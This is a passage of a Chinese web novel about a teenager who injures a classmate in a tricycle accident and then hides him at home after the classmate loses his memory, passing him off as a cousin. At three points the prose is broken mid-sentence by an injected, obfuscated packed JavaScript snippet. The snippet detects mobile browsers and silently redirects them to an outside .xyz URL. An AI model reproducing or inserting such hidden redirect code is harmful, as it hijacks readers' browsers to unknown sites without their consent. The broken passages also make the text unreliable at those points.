注视着,自己。 “卧槽……!”他瞬间弹飞一米远,惊魂不定地瞪着床上的人,张口结舌:“你,你你你醒了?” 秦一泽的眼帘迟缓地眨两下,被水打成一绺一绺的长睫毛像小扇子似的,挠得严峻心惊胆战。半晌,他好像感到疼痛,拧着眉“嗯……”一声,艰难地爬起来,垂着头艰涩地干呕,但只吐出了一点儿黄水。 “好疼……”严峻听见他这样闷声抱怨。 下一秒,这个人抬起眼帘,茫然地望向自己,轻轻歪了歪头:“你是谁?” 沉默,长久的沉默。 严峻瞠目结舌地看着他,喃喃地发出了一声,“卧槽。” 4. 他变成了7岁 严峻想过,如果秦一泽醒了,自己应该怎么在赔偿的问题上跟他据理力争。 比如说:是你自己不走人行道,歪歪扭扭撞上来的! 又比如说:我只是轻轻挂了你一下,你别想讹我。 但唯独没有,“向他解释自己是谁”这个选项。 看着对方懵懂茫然的桃花眼,严峻如临大敌地拧着眉,一点点靠近,企图搜寻他装模作样的证据。 这时,秦一泽又哼一声,面色苍白地捂住额:“怎么这么痛……” 心头一跳,严峻面露紧张,下意识糊弄道:“你刚才——摔了一跤,撞了一下脑袋。” “是吗?”秦一泽疑惑地回想几秒,面露沮丧:“我什么都不记得了……” 真不记得了啊? 这下终于信了大半,严峻瞠目结舌地凑到他面前,内心怀着最后一丝挣扎:“……也不记得我是谁了?” “你是谁啊?”秦一泽单手托着下巴,茫然地抬起眼望他。 霎时间,严峻倒吸一口凉气,猛地后退几步,震惊又激动地开始原地踱步。秦一泽见他无声挥舞着双手,握紧拳头一副抓狂样,好像是崩溃,又像是庆幸。 看着他激烈的反应,秦一泽慢慢放下胳膊,两只手默默攥紧,面露不安。 终于,严峻安静了下来,精疲力尽地双手叉腰,背对着他,脑袋低垂,不知在想些什么。秦一泽无措地看着他,小心翼翼地轻唤一声:“哥哥,你怎么了。” 严峻吓得猛地转过身,表情像是见了鬼:“你叫我什么?” “哥哥。”秦一泽无辜地睁着那双好看的桃花眼,表情天真无邪。 操。 严峻双腿一软,瞬间跌坐在地。 -------------------- 晚上七点多,下了半天的雨终于彻底停歇。天色已经完全黑沉,阿婆靠在床头悠悠转醒,只感觉肚子里饿得要命。 隔壁卫生间传来哗啦啦的水声。她睁着浑浊的眼,茫然辨认一会儿,扯起嗓子喊:“慧芳?慧芳,我要吃饭!” “慧芳工作去了。”严峻急匆匆从门口走过,厨房里随即响起炒菜的声音。 阿婆摇摇晃晃地爬下床,跟着孙子走向厨房。经过卫生间时,里面依旧水声哗哗。她也没觉得奇怪,径直略过去,站到严峻边上,看他做香干辣椒炒肉:“辣椒呀!” “嗯,辣椒。”严峻有些心不在焉,“阿婆你回房间等,小心油溅着你。” “哦。”阿婆乖乖地晃回去,不多时,一碗米饭、一小碟香干炒肉放到她床头:“阿婆,今天你自己吃,吃完把碗放着就行。” “哎,好!”有饭吃就喜笑颜开,阿婆快乐地捧起碗,完全没注意到门口有两个人的身影晃了过去。 “哥哥,我洗完澡了。” “卧槽!……洗完澡就上楼啊,磨蹭什么?” “这个婆婆是谁?” “你先上楼,待会儿我跟你说!” “哦……” 两串截然不同的脚步声沿着楼梯爬上阁楼,阿婆后知后觉地往房门口瞅瞅,嘀咕道:“隔壁家小丫头来啦?” 楼上,秦一泽穿着严峻的篮球服坐在书桌前,头发半湿着,正乖乖吃饭。严峻则生无可恋地坐在床边,拿着他湿哒哒的背包翻来翻去: “运动服,水壶,钥匙,手机……啧,你到底是去干嘛的?那边好像也没有体育馆啊?” 一一清点着秦一泽的东西,严峻企图解锁手机,却发现没电了!这手机还是苹果最新款,跟自己的安卓充电器不匹配。他忍不住又啧一声:“该死的有钱人!” 秦一泽被他啧得频频回望,坐立不安:“哥哥……我真是你表弟吗?” “是啦是啦!”严峻焦灼地把手机丢到床上,开始研究那串钥匙。 “那我叫什么名字?” “你——”这下可把严峻问住了。丹凤眼的少年头疼地挠挠头发,不负责任地胡诌:“你叫严肃!” “严肃……”秦一泽低喃一声,点点头,“原来我叫严肃。” 这副傻乎乎的好骗模样,看得严峻一阵心虚,赶忙低下头:“你——你来我家过暑假的。你爸妈工作忙,顾不上你,就,就把你丢过来了。” “这样啊。”秦一泽把青椒和肉塞进嘴里,扯过纸巾擤了鼻涕,又轻轻“斯哈”两声,道:“丢得好!哥哥你做饭好好吃,等过完暑假,我肯定舍不得回去。” 严峻一怔,随即崩溃咬牙:“操……还是不要这样吧?” -------------------- 吃完饭,严峻勒令秦一泽乖乖待在阁楼,自己则跑到一条街外的数码店,买了条苹果充电线回来。 ……还是得赶紧充上电。不然他爸妈找不到人,肯定要报警的。 回到家先把碗洗了,又催促阿婆去洗澡。严峻揣着充电线爬上楼,见秦一泽这小子居然自觉地爬到了他床上去! 一米八几的俊美男生乖乖地缩在被窝里,顶着额上那块擦伤,桃花眼滴溜溜地瞅着他:“哥哥,你回来了。” 这称呼着实有些难以适应,严峻焦灼地挠挠后颈,转身给手机充上电,随即把自己的云南白药气雾剂找了出来。 “坐到床边,我给你伤口喷药。” “好。” 车祸后的校草乖得惊人,他说什么是什么,绝不忤逆。严峻回想一番秦一泽之前那副表里不一的模样,不禁慨叹:想不到笑面虎小时候是个糯米团子……这差别也太大了。 气雾喷到伤口上,秦一泽疼得闷哼一声,下唇咬得煞白。 瞥见他忍耐的表情,严峻心里莫名冒出一丝痛快:呵,之前那么可恶,现在落到我手里了吧?!看我不多喷几下,痛死你……! “嗤嗤嗤”连喷三下,药水沁入伤口中,痛得秦一泽紧闭双眼,不禁哼哼起来:“哥哥,痛,痛!喷到我眼睛了!” 严峻一惊,赶忙放下药瓶,低头查看:“喷到哪只眼?右眼是吗?” “嗯,右眼睛……”秦一泽哼哼着,眼睫眨啊眨,半晌抬起来,漆黑眼珠骨碌碌一转——里头白白净净的,一滴泪水都没有,哪里像被喷到的样子? ……这个奸诈的家伙! 严峻啧一声,拳头开始发痒:原来他不是糯米团子,而是芝麻馅儿汤圆——外头看着白,里面其实黑着呢!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230585|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “自己玩儿去!”一把将他推回床上,严峻窝火地坐到桌前,抓过手机——电量已有5%。 摁下开机键,不多时,简洁的桌面出现在眼前。黑色弧线壁纸蜿蜒在屏幕上,像是系统自带的。 严峻微妙地停顿两秒:……还以为他会用某个女生的照片当壁纸呢。 举起手机对着秦一泽的脸一照,屏幕成功解锁。这人无措地眨眨眼,随即爬到床边,探头探脑:“哥哥,这是我的手机吗?” “……不是。”敷衍地搪塞过去,严峻本以为会有未接来电,可盯着屏幕等待十几秒,这手机依旧安安静静的,连一条短信也无。 点开微信,他们高二(1)班的班级群倒是颇为热闹。严峻烦躁地划拉两下,又退出去翻通讯录——里面整整齐齐排列着黄老师、钟老师、任言东、游心瑶等人,却唯独没有爸爸和妈妈。 ……真是奇了怪了! 暴雨天失踪几个小时,爸妈不找他,他也不存爸妈的电话,这是什么家庭啊? 严峻百思不得其解地抬头望向秦一泽,这人穿着他的衣服坐在床边,手长脚长的,脸上依旧是一派的天真茫然。 这表情……严峻头疼地收回视线,半晌又瞥一眼,最后“唉”一声,把手机丢回去,起身下楼。 秦一泽猛地挺直脊背,急切地问:“哥哥,你去哪里?” “……我去洗澡!” 高大的男生这才放松身体,慢慢地靠了回去。 -------------------- 一米二的床对于两个高挑的男生来说,着实拥挤了些。 两人摩肩接踵地躺在床上,皮肤隔着衣服紧贴在一起,陌生的体温让严峻十分难受。 他忍不住往外蹭一点、再蹭一点,旧风扇吱吱呀呀的旋转声中,秦一泽突然小声道:“哥哥,你快掉下去了。” 严峻只得咬牙切齿地把半边屁股从床边挪回来:“不关你事,睡你的觉!” “哦。”秦一泽安分地挨着墙,半晌背过身,给他让出空间:“……我不占地方的。” “啧!”突然感觉头疼,严峻粗暴地抬手把他摁回来,“又没叫你侧着睡!老实平躺着,不准动!” 秦一泽不吭声了,只有右腿小心翼翼地蜷曲着,碰到了他的膝盖。 老街闷热的夜里,窗外安安静静的,只有夜虫在低声鸣叫。空气中弥漫着蚊香的气味,风扇吱呀旋转着,将烟雾吹到房间各处,蚊虫嗡嗡飞远了。 严峻苦大仇深地拧着眉躺在黑暗之中,琢磨着接下来应该怎么办—— 秦一泽没有性命之忧,这是不幸中的万幸。可他失忆了,心智好像也退行了几岁……学校的尖子生被自己撞成这样,要是无法恢复,那他得掏多少钱才够赔偿啊! 妈妈前几年刚背了债,好不容易找到个薪酬可观的舒服工作,指望着能尽早清账。自己不能再让她操心了…… 思索良久没有头绪,严峻干脆用被子捂住脑袋,破罐子破摔:算了,先睡觉吧,明天大清早还得起来做包子呢! 说不定,秦一泽睡一觉,明早就想起来了呢? 他自我安慰地这样想。 5. 哥哥,你去哪了? 凌晨三点,严峻被手机闹铃吵醒了。 熟练地反手摁停闹铃,他摊在床上发了会儿呆,随即困倦地伸个懒腰——身侧突然贴到了什么温热的触感,质地有些坚硬。 在黑暗中扭头望去,又下意识摸一摸,他的意识才慢慢回笼:操……想起来了,是秦一泽。 打开手机电筒,高大的男生蜷缩着身体,面朝墙壁,正沉沉地睡着。宽阔脊背像一面弧形的墙,安静地挡在床中间。自己被挤到边缘,一翻身就会掉下去。 操。关掉电筒,严峻生无可恋地坐到床边:昨天发生的事情,原来是真的。 揉揉眼睛,他熟练地在书桌下头摸了盒牛奶,一边喝一边贴着墙壁走下楼。到卫生间简单洗漱一番,转身走进厨房,打开灯——冰箱顶上放着两个干净铮亮的大钢盆。 严峻打着呵欠戴上鸭舌帽、穿好围裙,把盆拿下来。冲洗过后放到角落的台秤上,往里头倒了二十斤面粉。 十斤温水化开酵母粉、加少许白糖,再慢慢掺到面粉里。草草搅拌一会儿,分出五分之一面絮,用另一个小盆装好。再加一斤水,搅拌成软粘的面团,盖上湿布,放到一旁发酵。 这时,大盆的面团已经水合充分,可以揉面了。严峻拧着眉,两条精瘦结实的胳膊卯起劲儿用力按揉,不断地捶擂、折叠、翻卷,直到将面团揉得光滑劲道为止。 揉好之后,用擀面杖把面团分批次擀成薄薄的大片,再卷成长条,切成50g一个的剂子——十六斤面粉,约摸切了240个剂子,整整齐齐地摆在案板上。 抬手擦一擦额角的汗,他回身从冰箱里拿出昨晚洗澡之前调好的馅,开始包包子。 馅儿有四种,大葱鲜肉馅、肉沫粉条馅、香菇青菜馅和韭菜鸡蛋馅。严峻立在案台前,又擀又包,运指如飞。等包好两百多个包子,时间已经是四点半。 用笼屉装好包子,静待发酵。他解下围裙,洗洗手,拿上钥匙出了门。 天还没亮,静河路幽静得很,只有路灯无言地照着石板路。严峻骑着自行车在灯光下飞掠而过,驶向街尾转角处的静河路菜市——两百米之遥的菜市场灯火通明,商贩们早就起来了,在摊位上为了生计忙碌着。 “老板,来六斤猪肉,四斤牛肉。” “哟,小峻来啦!六斤梅头肉,四斤牛颈肉,都帮你绞好了。” “谢谢老板。” 买好肉,严峻转头去买干粉条和蔬菜。自行车一路推过去,商贩们都跟他打招呼:“小峻,你那包子和馅饼就不能多做几个?我们想吃,可老是买不到!” “……等我念完高中,你们就能吃到了。”严峻一边挑选青菜,一边熟练地搪塞回去。离开菜市时,他又捎上一托鸡蛋,满满当当地骑着自行车,打道回府。 ——这就是他每天清晨都要做的事,也是他早上总犯困的原因。 自从阿婆老年痴呆、妈妈去做住家保姆之后,家里经营多年的早点摊就搁置了下来。但阿婆卖惯了东西,每天迷迷糊糊的,把笼屉搬到蒸包炉上,固执地找包子:“怎么还没做好,马上天亮了,怎么还没做好?” 没办法,严峻只能给妈妈打电话。妈妈说,要不就从工厂里订一些包子给她卖吧!味道差就差点,能应付阿婆就行。 严峻拧起眉,沉默几秒,点头答应。 ……然后一转身,去粮油店扛了几袋面粉回来。 家里的包子多是卖给街坊的,用那些工厂货糊弄邻居……他做不到。反正妈妈极少回家,自己偷偷做包子给阿婆卖,她也不会知晓。 就这样,他每天早上做两百多个包子,五十个牛肉馅饼。阿婆卖得高兴,街坊们也吃得开心。 一做就是一年多。 回到静河路,远远的,严峻就看见自家大门半敞着。一个人影背着光,站在门口,正小心翼翼地探头探脑。 严峻的第一反应,是家里进贼了。 第二反应,是秦一泽醒了,正在找他。 脚下不禁蹬快一些,赶到门口。果不其然,那个高挑的人影看见他,立即从门里走了出来:“哥哥,你去哪了?” 看着秦一泽惶然不安的脸庞,严峻的责备梗在喉咙里,愣是没骂出来。 他停好车,拎着食材走进门,头疼道:“我就出去买个菜——你不好好睡觉,跑下楼干什么?” 秦一泽跟着他走回屋,门也不关,眼巴巴地跟在他身后:“我睡醒不见你,就下来找……” “……关门!” “哦!” 飞快地关上门,又飞快地冲回厨房,秦一泽倚在门框上,不敢走远,如释重负的表情像一只终于找到监护人的大德牧。 严峻一刻不停地忙活着,没空理他。猪肉碎和牛肉碎分别倒进两个盆里,再拿出葱姜擂碎,泡出汁水,分批次加进肉馅儿里,搅打上劲。 秦一泽茫然地张望着,忍不住问:“哥哥,你在做什么?” “……调味。”肉馅调好咸淡,盖上保鲜膜放进冰箱里冷藏。严峻重新系好围裙,把不锈钢笼屉一层一层扛出去:“让开,别碍事!” “这又是什么?”秦一泽跟在后头问。 严峻不想回答,兀自把笼屉摞到门口的蒸包炉上,设定好温度、时间,又打开门—— 此时已经五点半了,天边开始翻出鱼肚白。十二个笼屉分两个炉子摞好,严峻回到厨房,拿出电饼铛,打开之前分出来的4斤发面,开始包牛肉馅饼。 又软又粘的面,在沾了油的手掌中翻滚着,很快包裹住沉甸甸的肉馅儿,被压得扁平,丢进电饼铛中。秦一泽专注地望着,终于认得一个了:“这是肉饼。” 严峻还是不理他。 厨房里逐渐弥漫出浓浓的煎饼味儿,香气扑鼻。嗅闻着这诱人的味道,秦一泽后知后觉感到饥饿,肚子发出了长长的“咕噜——”声。 严峻抬起汗涔涔的脸,终于看了他一眼。 十分钟后,五十个馅饼做好了,整整齐齐地码放在案台上。严峻用湿毛巾擦一把脸,掀开电饼铛,把煎好的馅饼夹出来放进筐里,随即捻起一个温热的,递到秦一泽面前:“喏。” 高大男生眼睛微微一亮:“给我吃的?” “不然呢?”自己也拿了一个,塞进嘴里。严峻长呼一口气,放松下来,削瘦身体靠在案台边,像是刚从战场上撤离的士兵:“外面还有包子,待会儿我拿一个给你。” “谢谢哥哥……”接过馅饼,秦一泽满怀期待地咬一口,脸上露出笑容:“好吃!哥哥好厉害。” 看着他斯文进食的模样,严峻精疲力尽的,已经没力气再思考什么,径直加快了咀嚼的速度。 - 清晨六点,静河路上的各式店铺打开门,街道开始有了人声。 阿婆神采奕奕地爬起来,洗脸漱口。她梳好头发,又系上围裙,去厨房端出那筐沉甸甸的牛肉馅饼放到柜台上,开始卖早餐。 隔壁吴叔的女儿吴思嘉打着哈欠走来,递过一个大碗:“阿婆,我要两个鲜肉包、两个韭菜鸡蛋包,再要一个馅饼。” “好嘞~”阿婆用夹子麻利地给她装好包子和馅饼,笑容可掬地伸出手:“12块。” “给。”递过一张10元,两张1元,吴思嘉拿起满满当当的大碗,忍不住朝里头张望了一眼:“小峻哥呢?他不是放假了吗。” “小峻要睡回笼觉的。”阿婆把钞票认真地放进空荡荡的铁盒子里,“你下午再来找他……” 话音未落,其他街坊的小孩也被家长打发过来买早点了。一个个挤在柜台前边,举着钞票叽叽喳喳:“阿婆!我要包子,要五个鲜肉包!” “我要三个牛肉饼!” “我要两个香菇青菜包,两个肉末粉丝包!” 阿婆麻利地扯下塑料袋,掀开笼屉装包子:“好,一个一个来——” 她动作精准得很,记得每种包子装在哪一层。装好之后,一手交钱一手交货,仿佛最精密的收银机器,绝不错漏:“小辉,你少给我1块钱。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230586|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 名叫小辉的七岁小男孩儿“啊”地大叫一声,立刻回头寻找:“我妈刚好给我8块钱的,肯定是掉了!” 最终,他在家门口找到那张1元纸币,赶忙捡起来塞到阿婆手里,这才赎回了自己的包子。 …… 热闹的售卖声持续半个钟便停止了,楼下恢复平静。严峻躺在阁楼里,迷迷糊糊地看一眼手机:六点四十分。 今天也这么早卖空啊。 秦一泽躺在他身旁,已经睡着了。这次他没有再背对严峻,而是侧着身,把头挨到他的肩侧,小心翼翼地紧靠着。 严峻困倦地睨他一眼,心想:这家伙,变傻了倒是挺听话的……把他藏在楼上,其他人应该不会发现。 ……的吧? 睡眼一呆,他晃神几秒,终究抵不住睡意,进入梦乡。 - 再睡醒已是11点。 这下睡饱了,终于不再犯困。严峻掀开毯子爬起来,准备带秦一泽去医院检查脑袋。 可扭头望,这家伙依旧睡着。高挑身躯微微蜷缩,手指还拽着他衣服下摆,完完全全是个小孩子。 ……啧。这样带他去医院,又没有大人陪同,肯定会被人怀疑的吧? 斟酌再三,他还是决定自己先去探探路。 起床换了套外出的衣服,严峻刚准备下楼,转念想起清晨时秦一泽不见他,到楼下四处寻找。他轻啧一声,只得回到床边把熟睡的高挑男生叫醒:“喂,喂!你醒醒。” 秦一泽茫然睁开眼,爬起来望着他:“哥哥?” “我要出门。”被他依赖的眼神看得不自在,严峻撇开脸,挠挠后颈:“你乖乖在家,不要下楼,半个钟后我就回来了。” “半个钟是多久?”秦一泽追根究底地问。 连这也忘记了吗?!严峻头疼:“……你在家等着我就行了,我会回来的!” “哦……”眼巴巴地瞅着他,秦一泽不再吭声,就乖乖地坐在床上,目送他下楼。 这模样太可怜了,严峻不忍回望,一转身匆匆离去。 市妇幼医院离静河路不远,只四公里,骑车十五分钟便到了。严峻停好车,紧张地走进医院大堂,四下张望一会儿,随即鼓起勇气,走向导诊台:“医生,那个……脑袋碰伤了,需要做什么检查?” “要做CT或核磁。”护士看他一眼,“是你做吗?” “不不不,”严峻赶忙摆手,“是……是我弟弟。” “他人呢?” “……他在家。” “那你让家长带他过来做检查。” “一定要家长吗?”严峻紧张地眨着眼,双手在台下攥成拳:“我带他过来可不可以?” 护士终于严肃地抬起头,上下打量他:“你成年了吗?给我看一看身份证。” 严峻顿时怂了,下意识后退两步,后背沁出冷汗:“我,我身份证忘带了……我回去拿。” 一转身,落荒而逃。 操……!怎么还要大人陪同啊?我看起来这么不像成年人吗? 捏一把自己清瘦的脸,严峻咬牙切齿地骑车往回赶:这可怎么办?有什么办法能带秦一泽去做检查呢? 我去办个成年人的假证?还是说……去劳务市场雇个工人,假扮家长陪我们去医院? ……那又是一笔钱啊! 心里又烦躁又纠结,严峻气急败坏地赶回静河路。远远的,就看见阿婆站在柜台里头,正费劲儿地仰着脑袋,跟一个高挑的男生说话。 以为是来了客人,严峻骑快一些,打算帮阿婆接手。可定睛一看,这人穿的是自己的篮球服,后背上还写着“严峻 11号”呢! 操。他顿时感觉五雷轰顶:秦一泽下楼了! 飞也似的冲到门口,一个急刹跳下车,严峻正好听见秦一泽在耐心地解释:“……阿婆,我是严肃,是哥哥的表弟,你不记得啦?” 阿婆背着双手,一脸茫然:“啊?严肃,严肃是谁?” 6. 小裤裤有点紧 惊得差点儿厥过去,严峻顾不上质问秦一泽,硬着头皮抢到阿婆面前,语无伦次地开始忽悠:“阿婆,他是慧敏小姨的儿子啊,你不记得了?咱们叫他小肃,你、你还说这名字起得不好听呢!” 秦一泽在一旁煞有介事地点头:“对呀,我是小肃。” 严峻咬牙:你“对呀”个什么劲儿! 阿婆茫然地看看他,又看看秦一泽,随即一拍掌,恍然大悟道:“哦,小树啊!我记得,我记得!你小时候偷过我家的红薯,我拎着吹火筒把你撵出了二里地呢!” 严峻:?阿婆你说的谁? 秦一泽眼睛一瞪,赶忙否认:“阿婆,我没有偷过你家的红薯!” “就是你!”阿婆抓住他的手腕,笑眯眯地拍一拍,“你现在这么帅了呀?结婚没有?我家慧芳还没嫁人呢,介绍给你认识,怎么样……” 听她把自家老妈都祭出来了,严峻赶忙把秦一泽拖走,往阁楼推:“阿婆你饿不饿,午饭想吃什么?” 阿婆眼睛一亮,立即清醒:“丝瓜炒蛋,咸菜豆板汤!” “好好好!”推着秦一泽回到阁楼,严峻瞬间竖起眉毛,凶神恶煞地质问:“不是叫你好好待在阁楼上么?你跑下去干什么!” 秦一泽高杵杵的一个人,颔着下巴,抬着眼帘郁闷地瞅他:“我不是来过暑假的吗?为什么不能下楼见阿婆呀。我在楼上好无聊,就下去找她……阿婆为什么不认识我?” “她,”严峻被问住了,只好拿阿婆的老年痴呆症来搪塞,“阿婆老了,脑子不灵光了。她有时候连我都记不住,更别说你。你——你可不能怪阿婆啊!” 末了还警告一句,堵他的嘴。 “我不怪阿婆。”秦一泽摇摇头,双眼暗暗打量他的神态:“我会好好陪她的,跟她说话、帮忙卖东西。” “嗯……嗯?!”严峻突然反应过来:“我可没说你能下楼!” 秦一泽刚露出喜悦的眼睛瞬间又蔫儿了下去。 - 中午吃饭,丝瓜炒蛋和咸菜豆板汤似乎不是很合秦一泽的胃口,这小子吃得挑挑拣拣的。但清晨吃的包子和饼早就消化光了,他饿得不行,还是把米饭塞了两大碗。 阿婆用浑浊的三角眼好奇地瞅着他,把脖子伸得老长,末了还“啧啧”地扭过头,拽住严峻感叹:“小峻,这孩子长得真好看!” 严峻心浮气躁地剜一眼桌子对面那张俊美且无辜的脸,不是很想承认:“……还行吧。” 阿婆笑了,抬手摸他头:“忘记夸你啦?哎哟,我们小峻也好看的!” 严峻硬邦邦地板着脸,面颊发热:我不是这个意思……算了,随她高兴吧。 吃完饭,阿婆继续守着柜台,一边听戏曲一边卖零食。严峻则回到阁楼午睡。 秦一泽小尾巴似的跟着他爬上楼:“哥哥,你叫小峻啊?” 回头看见他好奇的眼睛,一撇眼又注意到他额上的青紫。严峻眼皮一跳,拧着眉招他过来,让他在床边坐下,自己则抓过桌上那瓶云南白药:“低头。” 秦一泽听话极了,立刻低下头,柔顺的黑发顿时盖住额。严峻捋开那厚厚的头发,用气雾剂喷一下,问诊似的:“还疼吗?” “不疼了。” 擦伤已经全部结痂,摸上去薄薄一层,只是周围淤青的痕迹显得有些夸张。 严峻心想,额骨是最硬的地方,这个伤口也不算严重,应当不至于失忆啊?……放下气雾剂,他双手并用,仔细地在秦一泽浓密的头发中翻找。失忆的大男生好奇地问:“哥哥,你在干什么?” “你头上,还有哪里疼吗?”严峻的手指贴着他的发根轻轻摸索,跟按摩似的,还挺舒服。秦一泽新奇地感受着这样的触碰,举起右手点一点侧脑:“这边……靠后面一些,挺疼的。” 严峻翻开那处发根,果不其然,头皮下一块青黑,显然撞得不轻。 操,就三轮车带了一下,不至于摔得这么严重吧? 不敢轻举妄动,严峻心虚地收回手,顺便托一把他低垂的脸:“……午睡吧,我困了。” “哦。”秦一泽乖巧地爬到床上,依旧是侧睡,脸庞面对着他。严峻闭上眼躺一会儿,突然感觉不对劲,扭脸瞪他:“你不是右边疼吗,侧睡干嘛!” “……我怕你会突然不见。”秦一泽小声道。 严峻瞬间哑然。面前的这双桃花眼之中完全没有游刃有余的情绪,他不是那个阴险狡诈的优等生,而是一个失去记忆的人,一个倒霉的小孩。 在这个陌生的环境里,他能抓住的,好像只有自己了。 “我——不会的。”严峻偏开脸,喉结艰难地滚动一下,“反正我家就在这儿,不管出门再远,总是要回来的。你醒来不见我,在这里等着就是了。” “嗯,好。”好像放心了,秦一泽点点头,终于翻过身,换了一个方向。 - 傍晚,静河路的居民们都开始做饭,街上顿时弥漫开各式各样的香味。 严峻也去做饭了,下楼前勒令秦一泽不准乱跑,老实待在阁楼里。秦一泽只好在楼上这边瞅瞅、那边看看,把严峻的阁楼研究了个遍。 这层阁楼是用横梁和木板加盖的,稍一走动便吱嘎作响。阁楼不大,只有二十来平,五米见方。床铺和旧衣柜各靠一边墙,中间夹着一扇方窗,窗前摆着书桌,角落里则放着一个不大不小的书架。 书架上没什么课外书,都是些老旧的教材。秦一泽好奇地翻开一本,发现上面的字自己都认识:“语文书,严峻——” 字迹随性不羁、龙飞凤舞,看得他下意识拧眉,一言难尽地抿了抿唇。 半晌反应过来:“我跟哥哥都姓严呢,果然是兄弟!” 终于踏实了,他兴致勃勃地继续翻——里面居然一片空白,一点儿笔记都没有!秦一泽逐渐失去兴趣,把书又塞了回去。 窗外的街道上,一群小孩儿骑着小自行车,正相互追逐打闹。他循着声音趴上窗台,好奇地向下张望——傍晚的石板路行人不多,孩子们在回家的大人之间穿行着,夕阳把大家的影子拖得长长的,指向街尾。 远处是一片姹紫嫣红的晚霞,衬在密密麻麻的建筑之后,静谧又热烈。秦一泽呆呆地看着,莫名感觉心慌,跑下楼钻进厨房里。 严峻正在做红烧肉油焖笋,一回身被他吓一跳:“卧槽!……你怎么跑下来了?快回去!” 秦一泽摇摇头,执着地站在门边:“我就待在这儿,不乱跑。” 严峻暴躁地把笋丢进锅里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230587|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你待在这儿干嘛,熏油烟啊?!” 秦一泽不说话,就执着地注视着他,跟个看门的德牧似的,一动不动。 ……于是,晚饭过后,两个人身上都一股菜味,香飘十米。 严峻还不想洗澡,爬到楼上坐到书桌前,摸出那个充满电的苹果手机,再一次翻查秦一泽的往来消息,企图找到他父母的联系方式。 秦一泽依旧跟个小尾巴似的,乖乖坐到床边,眼巴巴望着:“哥哥,我可以玩手机吗?” “玩什么?不准玩。”不假思索地回绝他,严峻突然察觉不对,抬头怒道:“一身油烟也敢坐床?洗澡去,洗干净才能上床!” “那……”秦一泽还想说什么,严峻更不耐烦了:“什么这啊那的,洗个澡还要讨价还价?……快去!” 怨念地看着他,秦一泽只好把嘴一撇,闷头下了楼。 把人打发走,严峻翻消息翻得更心安理得了——他打开微信,一个一个对话框点过去。 排在最前头的是游心瑶。他还以为这俩人会有什么暧昧的对话,可点开一看,秦一泽居然在跟人家讨论期末考试的压轴题——? 再看时间:昨天下午四点。严峻不禁翻了个白眼:靠,成绩都出来了,还有什么可讨论的?学霸的世界我不懂。 继续翻,下一个是任言东。这人邀秦一泽去打篮球:“好久没跟你打了,出来玩玩呗!不然等你下学期出了国,想打都没机会了。” 秦一泽答:“去不去还不一定呢。” ……嗯? 严峻猛地坐直身体:他要出国?……那是不是就意味着,他父母最近有在联络他? 可这两天怎么一直没动静呢? 不信邪地翻开通话记录,严峻正准备一个个排查,这时,楼下传来秦一泽呼唤的声音:“哥哥,哥哥——” 严峻专心研究通话记录呢,不想回应。那声音响了一阵儿,随即蔫蔫止息。约莫十几秒后,一串脚步声走到他前方不远处,停下:“哥哥,我洗好了。” “嗯。”心不在焉地抬起头,秦一泽未着寸缕的身体猝不及防地映入眼帘。 严峻顿时瞪大了丹凤眼,瞠目结舌地、不由自主地上下打量一遍,视线随即落在某处上……最后,他像一只被踩了尾巴的猫似的跳起来: “卧槽,你显摆什么啊!快穿衣服!” 秦一泽被他抓起毛毯砸到脸上,“唔”一声,委屈地接住毯子:“哥哥,你没有拿换洗的衣服给我……” 直到这时,严峻才意识到这家伙刚才为什么唤自己。他气急败坏地扎到衣柜前,从里头随便抓出一套衣服、一条内裤,烫手地扔过去:“喏,快穿!” “哦……”秦一泽撅着嘴,闷闷地穿上内裤,又套上T恤和宽松的大短裤,然后别别扭扭地拧了一下肩膀:“这里窄了。” 严峻烦躁地瞥一眼:“能穿就行,要求这么多!” 秦一泽又拽拽裤档:“小裤裤也有点紧,我昨天就想说了。” 严峻把手机一扔,瞬间爆炸:“就你大,就你大行了吗!……紧也忍着,穿不坏你的!” “……哦。”面对“暴政”,寄人篱下的大男生只好委屈地扁扁嘴,穿着这身不舒服的衣服,勉为其难地躺到了床上。 7. 现成的苦力 大概是因为远离城市主干道的原因,静河路的夜晚很安静,没有车流的噪音。七点之后,店铺大多关了门,街道上只偶尔传来左邻右舍的细微说话声。 住在街对面的小辉好像被爸妈揍了,哇哇地哭了一阵。斜对面的大学生放假回家,窝在房间打游戏,不时高声怒骂:“会不会玩啊,菜比!” 严峻正在楼下厨房调制明早包包子的馅儿,肉沫粉丝、香菇青菜等。非肉类的食材放到这会儿做,更加新鲜。 调完馅儿去洗澡。他习惯洗头的时候把牙一起刷了,先叼着牙刷搓泡泡,再顶着泡沫把牙齿刷干净。 